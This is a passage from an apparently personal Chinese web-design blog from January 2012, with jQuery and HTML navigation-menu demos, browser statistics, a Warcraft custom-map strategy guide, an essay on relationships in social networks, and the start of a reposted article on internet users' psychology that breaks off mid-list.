体验盒子

导航迷你条

Adoing — Fri, 27 Jan 2012 16:00:30 +0800

鼠标移上去会出现有色的线条，移动到别的区域它也会跟着移动，同时也会自动隐藏与感应出现，看示例：

<!doctype html> <html> <head> <meta charset="utf-8" /> <title>堆糖网</title> <meta name="keywords" content="" /> <meta name="description" content="" /> <style type="text/css"> /* 此段样式为清除浮动通用样式 */ .clr{zoom:1;border:1px solid green} .clr:after{content:"\0020";display:block;height:0;overflow:hidden;clear:both;} /****/ .mynav ul{margin:0;padding:0;list-style:none;} .mynav li{float:left;+display:inline;line-height:21px;margin:4px 0 0;padding:0;vertical-align:middle;border:1px solid #f00;} .mynav li a:link,.mynav li a:visited{display:block;line-height:31px;padding:12px 12px 14px;font-size:16px;text-decoration:none;font-family:'\5FAE\8F6F\96C5\9ED1';color:#666;} .mynav li a:hover{color:#f21664;text-decoration:none;} .mynav li.cur a:link,.mynav li.cur a:visited{color:#f21664;} .mynav li.cur a:hover{color:#f21664;} </style> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script> </head> <body> <div id="mynav1" class="mynav clr" > <ul> <li><a href="">我的堆糖</a></li> <li><a href="">发现</a></li> <li><a href="">小组</a></li> <li><a href="">专辑</a></li> </ul> </div> <div id="mynav2" class="mynav clr"> <ul> <li><a href="">我的堆糖</a></li> <li><a href="">发现</a></li> <li><a href="">小组</a></li> <li><a href="">专辑</a></li> </ul> </div> <script> $(function (){ //无默认选中项 $('#mynav1').minibar() //有默认选中项 $('#mynav2').minibar({"idx":2}) }) ;(function($){ $.fn.minibar = function(opt){ var $mynav = this.css("position","relative"), //一般为主导航 $ba = $('<div/>').appendTo($mynav); //迷你条 //配置项合并 opt = $.extend({},$.fn.minibar.defaults,opt); //鼠标hover 事件 $mynav.find('li').hover(function (){ var t = this; //终止迷你条还原过程 clearTimeout($ba.data('timer')) //直接到达当前鼠标hover 的位置 _set(t) },function (){ //鼠标hover 的li 节点 var t = this; //通过data 来保存计时器 $ba.data('timer',setTimeout(function (){ //迷你条还原，从当前鼠标hover 的位置moveto 原选中位置 _set($mynav.find('.'+opt.cur),t) },300)) }) //设置初始位置【我的堆糖】 class="cur" 标识 opt.idx && _set($mynav.find('li').eq(opt.idx).addClass(opt.cur)) //内部调用方法 function _set(sel,sel2){ var $cu = $(sel), //一般为初始位置，有可能没有初始位置 class="cur" 标识 $tu = $(sel2); //一般为鼠标hover 的位置 if( $cu.length ){ var ow = $cu.outerWidth(), ol = $cu.position().left; //当前所在条初始化 if( $ba.css("position") !== "absolute" ){ $ba.css({ "position" : "absolute", "height" : 4, "top" : 0, "overflow" : "hidden", "backgroundColor" : "#F21664", "width" : 0, "left" : ol + ow/2 }) } $ba.stop().animate({ "width" : ow, "left" : ol },300) }else if( $tu.length ){ //如果没有找到 class="cur" 的初始位置，则就地隐去 var ow = $tu.outerWidth(), ol = $tu.position().left; $ba.stop().animate({ "width" : 0, "left" : ol + ow/2 },300) } } return $mynav; //保持队形了 } //默认配置项 $.fn.minibar.defaults = { "idx" : null, //初始化就选中的序号数，默认null 表示无选中项 "cur" : "cur" //选中项的className }; })(jQuery) </script> </body> </html>

提示：你可以先修改部分代码再运行。

微软官网导航效果

Adoing — Fri, 27 Jan 2012 15:45:13 +0800

微软官网导航效果在IE6小没有动画效果，顺便也把IE6的效果给加上，兼容IE6

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>微软官网导航菜单</title> <style type="text/css"> body{margin:0px;text-align:left;padding:0px;font:12px/140% Arial,Verdana,"微软雅黑";background:#d1d1d1;} ul{margin:0px;padding:0px;list-style-type:none;float:left;} a:focus {outline:0;} .nav{width:920px;height:28px;background:#f4f4f4;margin:20px auto;border-radius:5px;} .nav li{width:auto;line-height:20px;float:left;position:relative;} .nav li.msMnu_Item a{border:1px solid #f4f4f4;color:#4f4f4f;display:inline-block;padding:3px 10px;position:relative;text-decoration:none;font-size:14px;} .nav li.msMnu_Item a:hover{border:1px solid #999;background:#e4ecf4;} .nav li.msMnu_hove a{border:1px solid #999;border-bottom:1px solid #fff;background:#fff;color:#4f4f4f;display:inline-block;padding:3px 10px;position:relative;text-decoration:none;font-size:14px;z-index:1000;} .list{overflow:hidden;position:absolute;height:0px;top:27px;left:0;border-radius:0 8px 8px 8px;} .list div{background:#fff;overflow:hidden;padding:12px 0 12px 0;border:1px solid #999;float:left;} .list ul{padding:0px 10px;} .list li{margin:0px;padding:0px;width:170px;} .list li h3{margin:0px;padding:0px;font-size:12px;color:#4f4f4f;border-bottom:1px solid #e3e3e3;line-height:20px;width:100%;float:left;} .list li ul{width:170px;margin:0px;padding:5px 0;} .list li ul li.lis a{width:170px;height:22px;color:#0060a6;font-size:12px;line-height:20px;text-decoration:none;margin:0px;padding:0px;text-indent:3px;border:none;} .list li ul li.lis a:hover{color:#fff;background:#0060a6;} </style> <script src="http://www.lzcweb.net/script/microsoft/animation.js" type="text/javascript"></script> <script type="text/javascript"> window.onload = function(){ var aMenu = Class(document, 'menu'); var aList = Class(document, 'list'); var i = iNow = zIndex = 0; for(i=0;i<aMenu.length;i++){ aMenu[i].index = i; aMenu[i].onclick = function(e){ var oEvent = e || event; var aDiv = this.parentNode.getElementsByTagName('div'); var aMenuList = Class(this.parentNode,'menuList'); var iWidth = aMenuList.length * aMenuList[0].offsetWidth + 3; //还原上一个动作 flexible(); if(aDiv[0].style.height==aDiv[1].offsetHeight+'px'){ flexible(); }else{ //当前动作 this.parentNode.className = 'msMnu_hove'; aDiv[0].style.zIndex = zIndex++; if(aMenuList.length>1)aDiv[0].style.width = iWidth + 'px'; doMove(aDiv[0], {height:aDiv[1].offsetHeight}); } //记住上一个 iNow = this.index; oEvent.cancelBubble = true; }; } document.onclick = function(){flexible();}; function flexible(){ aList[iNow].parentNode.className = 'msMnu_Item'; aList[iNow].style.zIndex = 0; doMove(aList[iNow], {height:0}); } }; </script> </head> <body> <div class="nav"> <ul> <li class="msMnu_Item"> <a href="javascript:;" class="menu">Windows</a> <div class="list"> <div> <ul class="menuList"> <li> <h3>Windows</h3> <ul> <li class="lis"><a href="javascript:;">Windows 7</a></li> <li class="lis"><a href="javascript:;">Windows Vista</a></li> <li class="lis"><a href="javascript:;">Windows XP</a></li> <li class="lis"><a href="javascript:;">Windows 企业版</a></li> <li class="lis"><a href="javascript:;">Windows Phone</a></li> <li class="lis"><a href="javascript:;">Internet Explorer 8</a></li> </ul> </li> </ul> </div> </div> </li> <li class="msMnu_Item"> <a href="javascript:;" class="menu">Office</a> <div class="list"> <div> <ul class="menuList"> <li> <h3>Office 产品</h3> <ul> <li class="lis"><a href="javascript:;">Office 标准版</a></li> <li class="lis"><a href="javascript:;">Office 家庭和学生版</a></li> <li class="lis"><a href="javascript:;">Office 中小企业版</a></li> <li class="lis"><a href="javascript:;">Office 专业版</a></li> <li class="lis"><a href="javascript:;">Office 专业增强版</a></li> <li class="lis"><a href="javascript:;">Office 企业版</a></li> </ul> <h3>活动与促销</h3> <ul> <li class="lis"><a href="javascript:;">Office 近期活动与促销</a></li> </ul> </li> </ul> <ul class="menuList" style="border-left:1px solid #e3e3e3;"> <li> <h3>Office 资源</h3> <ul> <li class="lis"><a href="javascript:;">Office 购买主页</a></li> <li class="lis"><a href="javascript:;">Office 试用版免费下载</a></li> <li class="lis"><a href="javascript:;">Office for Mac 2011</a></li> <li class="lis"><a href="javascript:;">Office Web Apps</a></li> <li class="lis"><a href="javascript:;">Office 更新和程序下载</a></li> </ul> </li> </ul> </div> </div> </li> <li class="msMnu_Item"> <a href="javascript:;" class="menu">所有产品</a> <div class="list"> <div> <ul class="menuList"> <li> <h3>服务器</h3> <ul> <li class="lis"><a href="javascript:;">所有服务器产品</a></li> <li class="lis"><a href="javascript:;">Lync Server</a></li> <li class="lis"><a href="javascript:;">Windows Server</a></li> <li class="lis"><a href="javascript:;">Windows Small Business Server</a></li> <li class="lis"><a href="javascript:;">Windows Home Server</a></li> <li class="lis"><a href="javascript:;">Windows HPC Server</a></li> <li class="lis"><a href="javascript:;">SQL Server</a></li> </ul> </li> </ul> <ul class="menuList" style="border-left:1px solid #e3e3e3;"> <li> <h3>商业应用</h3> <ul> <li class="lis"><a href="javascript:;">UC 统一沟通</a></li> <li class="lis"><a href="javascript:;">云计算</a></li> <li class="lis"><a href="javascript:;">商业软件平台</a></li> <li class="lis"><a href="javascript:;">企业生产力基础架构</a></li> </ul> <h3>开发工具</h3> <ul> <li class="lis"><a href="javascript:;">Visual Studio 开发工具</a></li> <li class="lis"><a href="javascript:;">MSDN 开发人员网站</a></li> </ul> <h3>设计与个人体验</h3> <ul> <li class="lis"><a href="javascript:;">Expression</a></li> <li class="lis"><a href="javascript:;">Silverlight</a></li> </ul> </li> </ul> <ul class="menuList" style="border-left:#e3e3e3;"> <li> <h3>个人生活与娱乐产品</h3> <ul> <li class="lis"><a href="javascript:;">DirectX （英）</a></li> <li class="lis"><a href="javascript:;">微软拼音输入法</a></li> <li class="lis"><a href="javascript:;">Skype</a></li> </ul> <h3>硬件</h3> <ul> <li class="lis"><a href="javascript:;">微软硬件首页</a></li> <li class="lis"><a href="javascript:;">鼠标</a></li> <li class="lis"><a href="javascript:;">键盘</a></li> </ul> <h3>Windows Phone</h3> <ul> <li class="lis"><a href="javascript:;">Windows Phone 首页</a></li> <li class="lis"><a href="javascript:;">应用与下载</a></li> </ul> </li> </ul> </div> </div> </li> <li class="msMnu_Item"> <a href="javascript:;" class="menu">下载</a> <div class="list"> <div> <ul class="menuList"> <li> <h3>下载中心</h3> <ul> <li class="lis"><a href="javascript:;">微软中国下载中心</a></li> <li class="lis"><a href="javascript:;">Windows 下载</a></li> <li class="lis"><a href="javascript:;">Office 下载</a></li> <li class="lis"><a href="javascript:;">Server 下载</a></li> <li class="lis"><a href="javascript:;">Office Marketplace 下载</a></li> </ul> </li> </ul> <ul class="menuList" style="border-left:1px solid #e3e3e3;"> <li> <h3>最新下载</h3> <ul> <li class="lis"><a href="javascript:;">Internet Explorer 8</a></li> <li class="lis"><a href="javascript:;">Internet Explorer 9</a></li> <li class="lis"><a href="javascript:;">Office 2010 试用版</a></li> <li class="lis"><a href="javascript:;">Silverlight</a></li> <li class="lis"><a href="javascript:;">Windows 7 Service Pack 1</a></li> </ul> </li> </ul> </div> </div> </li> <li class="msMnu_Item"> <a href="javascript:;" class="menu">安全与更新</a> <div class="list"> <div> <ul class="menuList"> <li> <h3>安全与更新</h3> <ul> <li class="lis"><a href="javascript:;">安全中心首页</a></li> <li class="lis"><a href="javascript:;">Microsoft Update</a></li> <li class="lis"><a href="javascript:;">Office Update</a></li> <li class="lis"><a href="javascript:;">微软安全软件</a></li> <li class="lis"><a href="javascript:;">恶意软件删除工具</a></li> </ul> </li> </ul> </div> </div> </li> <li class="msMnu_Item"> <a href="javascript:;" class="menu">培训与支持</a> <div class="list"> <div> <ul class="menuList"> <li> <h3>产品支持</h3> <ul> <li class="lis"><a href="javascript:;">帮助与支持首页</a></li> <li class="lis"><a href="javascript:;">Windows 帮助</a></li> <li class="lis"><a href="javascript:;">Office 帮助</a></li> <li class="lis"><a href="javascript:;">TechNet 支持</a></li> <li class="lis"><a href="javascript:;">MSDN 支持</a></li> </ul> </li> </ul> <ul class="menuList" style="border-left:1px solid #e3e3e3;"> <li> <h3>活动</h3> <ul> <li class="lis"><a href="javascript:;">微软活动中心</a></li> <li class="lis"><a href="javascript:;">培训</a></li> <li class="lis"><a href="javascript:;">微软 IT 课堂</a></li> <li class="lis"><a href="javascript:;">微软在线培训及认证</a></li> </ul> </li> </ul> </div> </div> </li> <li class="msMnu_Item"> <a href="javascript:;" class="menu">立即购买</a> <div class="list"> <div> <ul class="menuList"> <li> <h3>立即购买</h3> <ul> <li class="lis"><a href="javascript:;">微软产品选购平台首页</a></li> <li class="lis"><a href="javascript:;">个人用户选购平台</a></li> <li class="lis"><a href="javascript:;">企业用户选购平台</a></li> <li class="lis"><a href="javascript:;">特别优惠</a></li> <li class="lis"><a href="javascript:;">批量许可授权</a></li> </ul> </li> </ul> </div> </div> </li> <li class="msMnu_Item"> <a href="javascript:;" class="menu">解决方案</a> <div class="list" style="border-radius:8px 0 8px 8px;right:0;left:auto;"> <div> <ul class="menuList"> <li> <h3>合作伙伴解决方案</h3> <ul> <li class="lis"><a href="javascript:;">查找合作伙伴解决方案</a></li> </ul> <h3>企业和组织</h3> <ul> <li class="lis"><a href="javascript:;">Microsoft Dynamics ERP & CRM</a></li> <li class="lis"><a href="javascript:;">大型企业信息化专区</a></li> <li class="lis"><a href="javascript:;">教育信息化专区</a></li> <li class="lis"><a href="javascript:;">微软中小企业在线体验中心</a></li> <li class="lis"><a href="javascript:;">微软正版授权中心</a></li> </ul> </li> </ul> <ul class="menuList" style="border-left:1px solid #e3e3e3;"> <li> <h3>开发人员和 IT 专业人士</h3> <ul> <li class="lis"><a href="javascript:;">MSDN</a></li> <li class="lis"><a href="javascript:;">TechNet</a></li> <li class="lis"><a href="javascript:;">IT 专业社区</a></li> </ul> <h3>中国案例中心</h3> <ul> <li class="lis"><a href="javascript:;">微软中国案例中心</a></li> </ul> <h3>微软技巧与帮助</h3> <ul> <li class="lis"><a href="javascript:;">微软家庭馆</a></li> <li class="lis"><a href="javascript:;">微软工作馆</a></li> </ul> </li> </ul> </div> </div> </li> <li class="msMnu_Item"> <a href="javascript:;" class="menu">合作伙伴</a> <div class="list" style="border-radius:8px 0 8px 8px;right:0;left:auto;"> <div> <ul class="menuList"> <li> <h3>合作伙伴</h3> <ul> <li class="lis"><a href="javascript:;">微软合作伙伴网络</a></li> <li class="lis"><a href="javascript:;">查找微软合作伙伴</a></li> <li class="lis"><a href="javascript:;">微软合作伙伴网络权益概览</a></li> <li class="lis"><a href="javascript:;">加入微软合作伙伴网络（MPN）</a></li> <li class="lis"><a href="javascript:;">订阅微软行动宝盒（MAPs）</a></li> </ul> </li> </ul> </div> </div> </li> <li class="msMnu_Item"> <a href="javascript:;" class="menu">关于微软</a> <div class="list" style="border-radius:8px 0 8px 8px;right:0;left:auto;"> <div> <ul class="menuList"> <li> <h3>关于微软</h3> <ul> <li class="lis"><a href="javascript:;">关于微软</a></li> <li class="lis"><a href="javascript:;">微软新闻</a></li> <li class="lis"><a href="javascript:;">微软在线视频中心</a></li> <li class="lis"><a href="javascript:;">投资者关系 (英)</a></li> <li class="lis"><a href="javascript:;">招贤纳士</a></li> </ul> </li> </ul> </div> </div> </li> </ul> </div> </body> </html>

提示：你可以先修改部分代码再运行。

盘点2011:IE浏览器仍占霸主地位

Adoing — Mon, 23 Jan 2012 13:03:43 +0800

不过，虽然亚洲互联网用户数量是全球最低的，但是这个数据是得益于亚洲人口众多，所以亚洲互联网统计率在全球各大洲里面拍到了倒数第二位。北美是全球互联网普及率最高的地方，占到78.3%，排名最低的是非洲只有11%。

　　提到互联网，就不得不提到最近两三年时间，在国内外如火如荼地社交媒体。截至2011年底，全球即时通信账户数量26亿，全球社交网络账户数量24亿。其中，Facebook用户数量达到8亿多，仅仅2011年Facebook就新增了2亿用户，其中3.5亿多用户通过手机登录Facebook。另外，有2.25亿用户来自Twitter，其中1亿活跃用户。截止到2011年10月，每天发送的Twitter消息数量达到2.5亿。　1810万：Lady Gaga的关注者数量，这是Twitter上最受欢迎的用户。　　

　　而对于桌面浏览器，调查显示截止2011年，全球拥有59亿移动用户，其中12亿是全球活跃移动宽带用户。很多手机厂商为了绑定用户使用浏览器，调查显示2011年出货的手机中，有85%的手机内置网页浏览器，而自去年12月苹果iPad在全球平板电脑网络流量上所占的比例占到了88%。不过，对于传统的浏览器霸占IE，仍然占据了39%的市场份额，谷歌的Chorme和火狐在近几年的突飞猛进，加起来占据了浏览器市场的半壁江山。

《仙境炎魔来袭》攻略

Adoing — Mon, 23 Jan 2012 03:39:26 +0800

树人篇：

树人开局切忌不要烧树，会被队友骂的= =！
烧树的弊端有2：
1.烧树以后会暴露自己的行踪
2.如果你想借烧树来迷惑炎魔，那就错了，因为树人的单位（占地面积= =！）比炎魔的要小，所以树人最需要的就是“地道”，所以，尽量不要烧树...
蓝色树人开局右边的树林可以横穿过去

其他树人开局应该先造一个瞭望塔，然后取消，这样就会有视野了，闪烁出去，不要吝啬这个闪烁，在炎魔出来之前，你的闪烁CD会好的...
树人开局除了造瞭望塔增加视野外，犀利点的可以造一个金库，金库在建造过程中会默认的给你增加相应的资源，当你看到资源大幅增加一次后，取消金库，这个方法如果在一个隐秘地点来回使用，叫做“刷钱”
树人开局后尽量闪烁到高地，或者树木多的地方，以下介绍三个常去地
“三岛”既小地图下面的三个岛屿（最左下角有一个横着的岛屿，不算三岛）
在小地图左中靠下有一片大岛屿，这个岛屿正常打的话，前期炎魔不会去的
因为树木太多，去了也没用，所以前期树人可以在那里“刷钱”
小地图中间下方的岛屿是一个逃生的好去处，因为横幅面积很大，所以，树人依靠风骚的走位和及时的闪烁，可以轻松避开炎魔的追击
小地图右下角的岛屿，是一片危险的地方，建议不要去，因为它不像左边的岛屿一样，在左中，右下角是一个死角，也就是说，你一旦被围，将很难逃脱，不过在那里有个任务触发地，右下角有一块地方是不能造东西的，树人站上去后，任意一个树人队友输入“地为界”则可开启“四界任务”
树人任务：
红色树人出生地向左走，站在第一个商店（侍僧）的面前，输入：“向西方献上祈祷”可激活“水之封印”在商店往左有一片瀑布，那里是可以上去的，在流水的瀑布上面输入：“封印术-水之封印”则可以开启封印，封印开启后任何生物（包括树人）不能上去瀑布，树人解封方法为站在流水瀑布上，输入：“解”即可解开，炎魔解封则要站在封印图标面前（如果炎魔被封印在瀑布里面了，则需要队友在外面打密语才能解封）输入：“解印术-暗”即可强行解开，所以说，树人最好别想去用封印困住炎魔，除非炎魔是菜鸟，否则不可能被困的，到时候你只有死路一条
四界任务：
此任务需要按步骤来做
第一步：就是走到地图右下角那块石头上，输入“地为界”，会显示“地之界开启”（炎魔看不到）
第二步：在“水之封印”瀑布的上面，有个喷泉，走到面前输入：“水为凭”，会显示“水之界开启”（炎魔看不到）
第三步：走到地图上中方向，有一个上坡的高地，在上坡路的右边，有一个点燃的火盆，站在周围，输入：“火为引”会显示“火之界开启”（炎魔看不到）
第四步：开启三界后，等待5分钟，会下雪，这时候输入：“风为信”，会显示“风之界开启”（炎魔看不到）
开启四界后，树人有两大好处
1:任意树人走到商店面前，打"HI"会把商店封锁，炎魔不能买东西（经试验无效！可以无视...但作者说有这个隐藏元素...）
2：任意树人输入：“召唤加美”可以召唤6只海鸥，每人一只，海鸥10格血，有反隐功能，树人别想用海鸥去跟踪炎魔，因为炎魔是对空的，一旦发现海鸥，会杀之....
树人的差不多介绍完了....剩下的就是打配合了

炎魔篇：

炎魔其实是最需要配合的了
开始后三个玩家，每个玩家各50￥，不用想，全给绿魔，让他去买照（官方语言：水晶球...）
绿魔一开始要学冲击波，计算好冲击波的距离（我只会打，不知道距离是多少....骚瑞了...）
三个炎魔的分配：
绿魔，力量型英雄，主力！开始没的说，先学冲击波，炎魔可以抢A树，前期两下一颗，绿魔4级则一下一颗
蓝魔，智力型英雄，侦查！开始不要学电链= =！加技能点，多放眼睛，后面会说眼睛的放位，蓝魔5级之前两下一棵树，5级则一下一颗，另外，召唤小炎魔，请无视掉！蓝魔最好是学电链，加属性
红魔，敏捷性英雄，敏捷型英雄大家都知道，攻击速度快，所以，红魔主要负责看家，开始学习技能，鬼魂（或战争践踏），红魔如果玩好的话，会被膜拜的.....只要家里有被抓的小黑灰，就不要离家出走了...安心看家吧，升级后，学习召唤鬼魂和践踏，红魔后期升级会很快的，至于为什么？自己去体验吧....
水晶球（150$）可以让你看到一指定范围内的情况，CD间隔60秒前期杀人必备
吹风杖（400$）可以吹起一个指定单位10秒，使用次数3次，看到树人后，吹起来，它将会成为你的手下亡魂...
地狱火（500$）阴人必备！不仅能砸死树人，而且配合传送权杖将会达到无敌的境界！
传送权杖（500$）可以将英雄传送到一个友军单位身边，同上，配合地狱火，无敌~~

【- -1 感谢 imba.legend恋婷的提醒】炎魔任务：在地图右下角河流处，有一个血魔法师模型的NPC任何炎魔站在其面前打“HI” 就会触发隐藏任务----堕落树人
树人如果A了堕落树人的话，你的视野就会被炎魔所掌握，哪怕A一下也会！！
堕落树人任务是靠人品的，人品好的话三个1000+的物品，人品不好的话，三个100的侦查塔，总而言之，杀掉堕落树人，就会随即爆三个物品...

眼睛：
眼睛的方位其实都知道，放到高地会有很大一片视野，但由于此图地形复杂，所以还是在路上多放点眼睛....
金币对树人来说没什么
但对炎魔来说很宝贵出来的
A小动物可以赚取少量金币....
玩炎魔其实是一个技术活，不像树人，会逃跑，会猥琐就行了
所以.....这个介绍非常之少
全靠自己玩出来的
如果有兴趣多玩炎魔被虐虐吧，玩久了，你将会超神....
如果玩这个图玩腻了，一定要重启魔兽，因为可能是地图编辑的问题，不重启魔兽，再进入别的地图，一读取完毕，就会断线....

社交网站中关系的利用

Adoing — Fri, 20 Jan 2012 03:32:40 +0800

前几周去车库咖啡，碰巧听到有人在慷慨激昂地讲大学生教科书市场，大概是想做个方便学生买卖二手书的网站。听了一半就没了兴致，想法是好，不过更适合做成人人里的app。

想起几个月前有人联系我，希望一起做购物分享网站。相谈甚欢，有一个观点很一致，就是不需要重建一套关系，要么利用已有的，要么以物品作为连结。

人们常会把关系分类，亲人、朋友、同事、陌生人，各社交网站也许不乐意，但也无形中被用户按照这样的分类定了位。人人里是同学，开心是同事，FB用来和国外的朋友们联络，豆瓣里是爱好相同生活中可能永远不见的陌生人，新浪微博都有，远的近的放在不同的分组给予不同的关注。已经有了这么多的关系，且建立了关系的互联网巨头们纷纷搭建平台摆出开放的姿态，不管是伪开放还是真有心，对开发者来说，都是资源。

谈到利用这些资源，说起来简单，“双向选择”，做起来就很难把握了。

1. 将陌生人交友和熟人社区分开

谁也不会在人人和微博上广播，“我勾搭了一个妹子”“我和XX的一夜”或是“男友劈腿了”这种事，大家不痛不痒地说着“我在XX餐厅吃饭”“铁甲钢拳不错”，再转发一下“XX星座运势”和“XX爱情物语”。大多数人说着生活的琐事，上传漂亮的照片，一幅真实又无聊的模样。

反观天涯和豆瓣，各种神帖极品帖层出不穷，大家畅快地说着亲身经历，说着身边的人和事，吐槽也好感悟也罢，没人知道你是谁，于是无所顾忌。

很难想象一个以熟人社区起家的网站开始做陌生人交友，两个人聊着聊着等见面的时候发现原来是同事，多尴尬。说个听来的段子，某女在陌陌上寻一夜情，不久后一个离他10米的人对她说：“来我办公室”……

互联网的匿名让人感觉安全，像一层屏障保护着所有的言论，一旦这个保护层被揭开，对号入座的时候，网络的自由随即消失。太多的人在面对生人和熟人时表现完全不同，人前尽善尽美，私下自己知道。

看到新闻说北京将在3个月内实行新浪微博注册实名制，如果真这么干了，其他地方也推广开来，微博的火热将不复存在。

2. 单纯地照搬线下的关系没有前途

150定律说：人类拥有稳定社交网络的人数是148人，四舍五入约为150人。文艺一点的说法：我身边的位置只有那么多，新的人进来，就会有旧的人离开。

亲人，“自从父母加了我的QQ，我就转战新浪微博了。”

同学，“从此一别，各奔东西。”

同事，“别把同事当朋友。”

朋友，“我们或许很久没联络，但我知道你一直在。”

这些耳熟的网络语句，能说明：

1）真实而稳定的关系不一定能搬至线上（如亲人）

2）真实关系并不稳定（如同学、同事）

3）联系频率不是判断两者关系的唯一标准（如朋友）

如此，若是社交网站寄希望于只在真实的关系里深耕挖土，需要面对用户随着环境变更不断流失的尴尬状况。

3. 通过制造共同话题来经营关系

关系需要经营，线下如此，社交网站上也一样。多互动多交流，才能维系和增进感情。想想平日的谈话，概括起来不外乎社会热点、工作生活、娱乐八卦，女生还会聊网购打折、化妆护肤，男人聊点汽车球赛，这些琐碎的话题令人轻松。

社交网站除了要营造同样轻松的氛围，还需有能够持续讨论的话题，或不断创造新的话题，引起人们讨论的兴趣，用以增加人与人的交流频率。豆瓣选了前一种，微博选了后一种。不管是书、电影还是音乐，俨然许多人生活中不可或缺的部分，新书新片新专辑上市，总会吸引不少注意，更难能可贵的是，因这三项聚集的一部分用户还能贡献其他高质量的内容，使得这个社区“鹤立鸡群”，说文艺也好，小资也罢，比起别处大量的转帖和口水贴，特有的原创内容是大量用户在经历数度忍无可忍的改版后，仍留在豆瓣的原因。

时常觉得新浪是一家媒体公司而非互联网企业，深谙名人之道，善于制造和传播话题。因董洁的一条微博引发了“上不了幼儿园谁之过”的争论，小题大作还是运营之道，呵，各抒己见吧。

4. 线上与线下结合

去青岛的时候见了momo酱，回到酒店很开心地发微博“我见网友了”，听到一片惊叹。额，我以为很多人都有这样的经历，在某个网站上一见如故相谈甚欢，之后相约见面。并非总有契机，在不同的城市或国家，交流更多还是在网上。因为见过，要比普通的网友来得热络，因为对事物的兴趣、认知和态度出奇的相似，所以比普通的同学同事更显亲密。

互联网对于建立亲密关系本身没有什么帮助，通常起的作用是牵线搭桥或是帮助已经很熟的两个人更省钱的沟通，更快速的了解对方的近况。依托于互联网形成的人际关系，即便交流很多（如豆瓣的友邻），没有见面其实还是陌生人，擦肩而过都不会认识，所以关系“落地”很重要。当人与人见了面，讲过话吃过饭，才算认识，如果感觉颇好，依托于社交网站建立起来的初步了解会很快拉近两人的距离，成为生活中的朋友。再回到网上，交流也更诚恳更值得信赖。

现在热炒的O2O概念，说的是电子商务，SNS其实也适用，Online to Offline。线上到线下的途径一般有2种，第一种是一对一的关系，可能因为文字交流或是漂流瓶聊天室这种偶然结识，比如我和Violeta相识是源于她看到我写的一篇影评，这样的关系发展缓慢而稳定，但太随机太讲究缘分；第二种是主题社区，像许多论坛都有定期的版聚，玩摄影的会一起外拍，户外的会去爬山，烘焙的会办个下午茶会，基于共同爱好组织的活动如纽带一般，把人们联系起来。

5. 提供转化“弱关系”的途径

《The tipping point》里有一个故事，社会学家马克格兰诺维特采访了波士顿郊区几百名技术工作者，通过了解他们的就业经历后发现56%的受访者是通过个人关系获得工作的，这些利用个人关系找到工作的人里，有16.7%与自己的推荐者经常来往，其余的多是点头之交。

身边还有很多例子，A.B是C共同的朋友，偶然见面后谈起了恋爱。因为都是C的朋友，交往圈有所重合于是多了许多话题，人品也信得过，不会像陌生人交友那般防备重重，C也乐得撮合两个朋友在一起。

社交网站致力于发掘和建立弱关系，不过好像少有提供将“弱关系”转变为“强关系”的途径。

我常遇到这种状况，“喂，你XX（某社交网站）上叫XXX的好友很漂亮，介绍一下嘛。”“行啊，哪天一起出来玩呗。”可能叫上两人一起唱歌一起去郊游，这都是通过线下的我作为中间人来完成的。如果社交网站能虚拟出一些事件，如“演唱会找同行”“下班拼车”“借书”“修电脑”，各种日常生活中常用的打扰理由和交往借口，弱关系都可能更进一步，别总惦记着开发“偷菜”“买卖朋友”“心理测试”等小游戏。像开头说的“二手教材转让”，就存在着把“同校”这种弱关系转化成“熟人”的可能性，而适合做这件事的，除了各大院校的BBS就是人人了。

说了这么多，总结起来：

1. 社交网站中的关系要和现实生活中的关系结合，相辅相成；

2. 社交网站应该选择符合并有利于稳固自己关系的应用，而开发者则需想清楚自己是否需要关系，需要怎样的关系，再看是利用已有的还是新建一套。

总之，选择合适的关系做适合的事情。

原文：http://www.wangxuntian.com/?p=1511

互联网用户常见心理特征

Adoing — Fri, 20 Jan 2012 03:30:52 +0800

注：本文是我在淘宝的内网中发现的一片文章，作者来自于测试团队的霜波同学，她是我淘宝讲师团队的同事，爱好广泛，去年一年都在研究心理学。哈哈，让我甚是佩服。这篇文章写的是互联网用户的心理学特征，我觉得分析的很到位，感觉这些行为就是每天发生在自己身上一样。我想，这对设计师来说，了解这些用户行为背后的原因是非常重要的。故转发此文，与大家一同分享。

近半年持续关注了一些用户反馈和客服电话，从一些常见问题中总结出了八点互联网用户常见心理特征，在此共享，希望能共同努力提高用户体验。

1：惯性

用户：“你们的排序按钮为什么没有了？”

客服：“亲，我们把它放在右边了，这样更加的明显哦。”

用户：“你们很闲吗？没事弄这个按钮做什么！”

有一个故事，说的是将奶酪放在了迷宫的第三个格子，然后放一只老鼠进入迷宫，第一次的时候，老鼠先找第一个，再找第二个，最后在第三个格子中找到了，很高兴。第二次的时候，先找第一个，再找第二个，又再第三次的格子中找到了，很高兴。第三次的时候，老鼠直接去了第三个格子，找到奶酪。第四次，第五次，奶酪没有动。第六次的时候，奶酪被移入了第一个格子，老鼠看不到奶酪，于是生气，郁闷，焦躁，原地打转，却放弃了继续寻找。

人和老鼠一样，甚至比老鼠更加的具有惯性，更加的善于总结规律，更加的容易感觉生气和不爽。一旦他学会了用一个按钮，第二次一定会去原地按照原来的方法使用。如果位置或者方法和以前不一样，他会很不习惯，并且认为这是一个非常不爽的改变。所以如果产品经理要改变原有的规律一定要三思再三思，即使你知道你是在让原来的过程更加的美观，更加方便，更加的绚丽，也请考虑到原有老用户的习惯。在吸引新用户的同时如果让老用户少去学习是产品经理需要综合考虑的问题。

2：我就是全部

用户：“你们的平台真烂，我商品的显示全部错了。”

客服：“亲，别人的都是好的。是不是你设置错了？”

用户：“别人和我有什么关系，我的商品显示出来就是错的！”

看上去蛮不讲理，但是每个人都是自己世界的国王，他对他自己全部的负责，所以当我们很轻易的说少数人的时候，也应该去体会这少数人的全部世界，他和我们关心自己的kpi，关心自己的晋升一样关心着自己的小店铺，对我们来说的沧海一粟，对他们来说也许是他们最珍惜的珍珠。承认彼此的平等，也正是这些微不足道给出反馈的用户帮助淘宝一而再再而三用户体验的改进，他们是我们最优秀的不取工资还不断帮我们提交bug的用户测试工程师，对于如此无私的行为，我们是应该感谢了？还是感谢呢？还是感谢呢？

3：第一印象很重要

用户：“你们应该提供一个**的功能。”

